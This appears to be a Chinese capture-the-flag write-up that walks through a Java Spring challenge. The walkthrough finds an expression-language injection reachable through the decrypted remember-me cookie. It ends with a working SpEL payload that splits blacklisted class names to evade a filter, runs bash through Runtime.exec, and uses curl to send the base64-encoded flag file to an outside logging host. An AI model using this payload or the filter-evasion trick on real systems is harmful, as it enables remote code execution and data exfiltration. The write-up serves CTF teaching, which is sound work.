题目环境:放在下方附件
推荐使用idea+jdk1.8
导入下载的jar包
可以先运行一下看一下是什么样的环境
这边是个登录页面,既然有源码,那就不用黑盒测试了,直接看代码,在application.yml发现了一个黑名单,过滤了java.+lang Runtime exec(调用runtime类的exec方法可以执行系统命令),同时我们还找到了测试账号admin,admin
对于MVC框架,一般都习惯从controller层下手,点开这边的MainController,先从登录功能分析
@PostMapping({"/login"})
public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
session.setAttribute("username", username);
if (isRemember != null && !isRemember.equals("")) {
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}
return "redirect:/";
} else {
return "redirect:/login-error";
}
}
判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie,转跳至hello.html,在hello.html发现了可能存在EL表达式注入,他会将session中的username字段内容取出在页面上显示,如果此处可控,则可以构造rce
由于登录的测试账号是固定的,admin,admin,所以无法直接利用这边的session.setAttribute
程序判断rememberMeValue存在后,直接对其进行解密,然后将其setAttribute
这样思路就很明确了,在cookie的remember-me构造rce,结合黑名单bypass
payload:#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
boy0s
发表于 2023-6-28
6
评论列表
加载数据中...
7y
发表于 2023-8-10
66
评论列表
加载数据中...
goto
发表于 2023-12-12
666
评论列表
加载数据中...
15509681676
发表于 2个月前
1
评论列表
加载数据中...
1708qq_com
发表于 1个月前
1
评论列表
加载数据中...